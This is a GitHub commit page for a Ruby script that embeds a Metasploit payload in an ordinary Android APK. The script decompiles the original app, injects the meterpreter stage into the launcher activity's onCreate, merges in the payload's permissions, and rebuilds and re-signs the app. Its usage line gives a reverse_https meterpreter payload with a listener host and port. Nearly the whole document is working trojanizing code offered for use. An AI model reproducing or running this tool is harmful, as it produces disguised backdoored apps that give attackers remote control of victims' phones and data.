-
Notifications
You must be signed in to change notification settings - Fork 52
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
In this release [v0.2](https://github.com/xc0d3rz/metasploit-apk-embed-payload/releases/tag/v0.2),We've used OOP just for fasting embed and add new feautures.
- Loading branch information
xC0d3rZ
authored
Aug 25, 2016
1 parent
74423d2
commit 122f643
Showing
1 changed file
with
266 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,266 @@ | ||
# Embed a Metasploit Payload in an Original .Apk File | ||
class EmbedApk | ||
def initialize(workingDIR,tempDir,targetAPK,toolsDir,msfvenomOpts) | ||
# Set main variables | ||
@workingDIR = workingDIR # Script workingDIR | ||
@tempDir = tempDir+randomString(7) # Temp folder dir | ||
@targetAPK = targetAPK # Target apk | ||
@toolsDir = @workingDIR+toolsDir # Embedding tools dir | ||
@msfvenomOpts = msfvenomOpts | ||
mainScreen() | ||
embeddingPayload() | ||
end | ||
# Find the activity thatapk_backdoor.rb is opened when you click the app icon | ||
def launcherActivity(amanifest) | ||
package = amanifest.xpath("//manifest").first['package'] | ||
activities = amanifest.xpath("//activity|//activity-alias") | ||
for activity in activities | ||
activityname = activity.attribute("name") | ||
category = activity.search('category') | ||
unless category | ||
next | ||
end | ||
for cat in category | ||
categoryname = cat.attribute('name') | ||
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') | ||
activityname = activityname.to_s | ||
unless activityname.start_with?(package) | ||
activityname = package + activityname | ||
end | ||
return activityname | ||
end | ||
end | ||
end | ||
end | ||
|
||
# If XML parsing of the manifest fails, recursively search | ||
# the smali code for the onCreate() hook and let the user | ||
# pick the injection point | ||
def scrapeFilesForLauncherActivity(a) | ||
smali_files||=[] | ||
Dir.glob(a+'/smali*/**/*.smali') do |file| | ||
checkFile=File.read(file) | ||
if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") | ||
smali_files << file | ||
smalifile = file | ||
activitysmali = checkFile | ||
end | ||
end | ||
i=0 | ||
messagePrint("Please choose from one of the following:","info") | ||
smali_files.each{|s_file| | ||
messagePrint("Hook point #{i} : #{s_file}","succeed") | ||
i+=1 | ||
} | ||
hook=-1 | ||
while (hook < 0 || hook>i) | ||
messagePrint("\nHook: ","info") | ||
hook = STDIN.gets.chomp.to_i | ||
end | ||
i=0 | ||
smalifile="" | ||
activitysmali="" | ||
smali_files.each{|s_file| | ||
if (i==hook) | ||
checkFile=File.read(s_file) | ||
smalifile=s_file | ||
activitysmali = checkFile | ||
break | ||
end | ||
i+=1 | ||
} | ||
return [smalifile,activitysmali] | ||
end | ||
|
||
# Fix manifest permissions | ||
def fixManifest(a , b) | ||
payload_permissions=[] | ||
#Load payload's permissions | ||
File.open(a+"/AndroidManifest.xml","r"){|file| | ||
k=File.read(file) | ||
payload_manifest=Nokogiri::XML(k) | ||
permissions = payload_manifest.xpath("//manifest/uses-permission") | ||
for permission in permissions | ||
name=permission.attribute("name") | ||
payload_permissions << name.to_s | ||
end | ||
} | ||
original_permissions=[] | ||
apk_mani='' | ||
|
||
#Load original apk's permissions | ||
File.open(b+"/AndroidManifest.xml","r"){|file2| | ||
k=File.read(file2) | ||
apk_mani=k | ||
original_manifest=Nokogiri::XML(k) | ||
permissions = original_manifest.xpath("//manifest/uses-permission") | ||
for permission in permissions | ||
name=permission.attribute("name") | ||
original_permissions << name.to_s | ||
end | ||
} | ||
#Get permissions that are not in original APK | ||
add_permissions=[] | ||
for permission in payload_permissions | ||
if !(original_permissions.include? permission) | ||
messagePrint("Adding #{permission}","succeed") | ||
add_permissions << permission | ||
end | ||
end | ||
inject=0 | ||
new_mani="" | ||
#Inject permissions in original APK's manifest | ||
for line in apk_mani.split("\n") | ||
if (line.include? "uses-permission" and inject==0) | ||
for permission in add_permissions | ||
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n" | ||
end | ||
new_mani << line+"\n" | ||
inject=1 | ||
else | ||
new_mani << line+"\n" | ||
end | ||
end | ||
File.open(b+"/AndroidManifest.xml", "w") {|file| file.puts new_mani } | ||
end | ||
|
||
# Generate random String | ||
def randomString(size = 6) | ||
charset = %w{ 2 3 4 6 7 9 A C D E F G H J K M N P Q R T V W X Y Z} | ||
(0...size).map{ charset.to_a[rand(charset.size)] }.join | ||
end | ||
|
||
# Print script messages | ||
def messagePrint(message,type='info') | ||
case type | ||
when 'info' | ||
@return = "[*] #{message}".cyan | ||
when 'error' | ||
@return = "[!] #{message}".red | ||
`rm -rf #{@tempDir}` | ||
when 'succeed' | ||
@return = "[+] #{message}".green | ||
when 'step' | ||
@return = message.yellow | ||
else | ||
@return = "[*] #{message}".cyan | ||
end | ||
puts @return+"\n" | ||
end | ||
|
||
# Checks dependency and set variables | ||
def mainScreen | ||
|
||
unless (@targetAPK) | ||
messagePrint("Usage: #{$0} {target.apk} [msfvenom options]","error") | ||
messagePrint("e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443","info") | ||
exit(1) | ||
end | ||
unless (File.readable?(@targetAPK)) | ||
@getTargetAPK = File.basename(@targetAPK) | ||
messagePrint("#{@getTargetAPK} not found.") | ||
exit(1) | ||
end | ||
signingAPK = "#{@toolsDir}signapk/signapk.jar" | ||
unless (signingAPK && File.readable?(signingAPK)) | ||
getToolsDir = File.dirname(@toolsDir) | ||
messagePrint("Signapk.jar not found. Make sure it has been included in #{getToolsDir}","error") | ||
exit(1) | ||
end | ||
apkTool = `which apktool` | ||
unless (apkTool && apkTool.length >0) | ||
messagePrint("ApkTool is required for embedding,Make sure it has been install","error") | ||
exit(1) | ||
end | ||
apkToolVersion = `apktool` | ||
unless (apkToolVersion.split()[1].include?("v2.")) | ||
messagePrint("apktool version #{apkToolVersion} not supported, please download the latest 2. version from git","error") | ||
exit(1) | ||
end | ||
unless (File.readable?(@tempDir)) | ||
`mkdir #{@tempDir}` | ||
end | ||
@payloadAPK = "#{@tempDir}/payload.apk" | ||
@originalAPK = "#{@tempDir}/original.apk" | ||
@signAPK = "#{@tempDir}/signapk.apk" | ||
@payloadDir = "#{@tempDir}/payload" | ||
@originalDir = "#{@tempDir}/original" | ||
|
||
end | ||
def embeddingPayload | ||
# Generate msfvenom payload | ||
messagePrint("[1] Generating msfvenom payload","step") | ||
res = `msfvenom -f raw #{@msfvenomOpts} -o #{@payloadAPK} 2>&1` | ||
if res.downcase.include?("invalid" || "error") | ||
messagePrint(res,"error") | ||
exit(1) | ||
end | ||
# Signing payload | ||
messagePrint("[2] Signing payload","step") | ||
`java -jar #{@toolsDir}signapk/signapk.jar #{@toolsDir}signapk/certificate.pem #{@toolsDir}signapk/key.pk8 #{@payloadAPK} #{@signAPK}` | ||
`cp #{@targetAPK} #{@originalAPK}` | ||
|
||
# Decomposing original and payload APK | ||
messagePrint("[3] Decomposing original APK","step") | ||
`apktool d #{@originalAPK} -o #{@originalDir}` | ||
messagePrint("[4] Decomposing payload APK","step") | ||
`apktool d #{@signAPK} -o #{@payloadDir}` | ||
|
||
# Locating onCreate() hook | ||
f = File.open("#{@originalDir}/AndroidManifest.xml") | ||
androidManifest = Nokogiri::XML(f) | ||
f.close | ||
messagePrint("[5] Locating onCreate() hook","step") | ||
launcheractivity = launcherActivity(androidManifest) | ||
smalifile = @originalDir+'/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' | ||
begin | ||
activitysmali = File.read(smalifile) | ||
rescue Errno::ENOENT | ||
messagePrint("Unable to find correct hook automatically","error") | ||
begin | ||
results = scrapeFilesForLauncherActivity(@originalDir) | ||
smalifile = results[0] | ||
activitysmali = results[1] | ||
rescue | ||
messagePrint("Error finding launcher activity","error") | ||
exit(1) | ||
end | ||
end | ||
|
||
# Copying payload files | ||
messagePrint("[6] Copying payload files","step") | ||
FileUtils.mkdir_p("#{@originalDir}/smali/com/metasploit/stage/") | ||
FileUtils.cp Dir.glob("#{@payloadDir}/smali/com/metasploit/stage/Payload*.smali"), "#{@originalDir}/smali/com/metasploit/stage/" | ||
activitycreate = ';->onCreate(Landroid/os/Bundle;)V' | ||
payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" | ||
hookedsmali = activitysmali.gsub(activitycreate, payloadhook) | ||
|
||
# Injecting payload | ||
getsmalifile = File.basename(smalifile) | ||
messagePrint("[7] Loading #{getsmalifile} and injecting payload","step") | ||
File.open(smalifile, "w") {|file| file.puts hookedsmali } | ||
@injectedApk= "#{@tempDir}/"+@targetAPK.split(".")[0] | ||
@injectedApk+="_embedded.apk" | ||
|
||
# Poisoning the manifest with meterpreter permissions | ||
fixManifest(@payloadDir,@originalDir) | ||
# Rebuilding | ||
messagePrint("[8] Rebuilding #{@targetAPK} with metasploit payload","step") | ||
`apktool b -o #{@injectedApk} #{@originalDir}` | ||
unless (File.readable?(@injectedApk)) | ||
messagePrint("Upgrade apktool to the latest apktool.jar fixes the issue completely","error") | ||
exit(1) | ||
end | ||
|
||
# Signing | ||
getSignapk = File.basename(@injectedApk) | ||
getTargetAPK = File.basename(@targetAPK) | ||
messagePrint("[9] Signing #{getSignapk}","step") | ||
`java -jar #{@toolsDir}signapk/signapk.jar #{@toolsDir}signapk/certificate.pem #{@toolsDir}signapk/key.pk8 #{@injectedApk} #{@workingDIR}/#{getTargetAPK}_embedded.apk` | ||
# embedding end | ||
getTargetAPK = File.basename(@targetAPK) | ||
messagePrint("#{@getTargetAPK} has been embedded,#{getTargetAPK}_embedded.apk","succeed") | ||
`rm -rf #{@tempDir}` | ||
|
||
end | ||
end |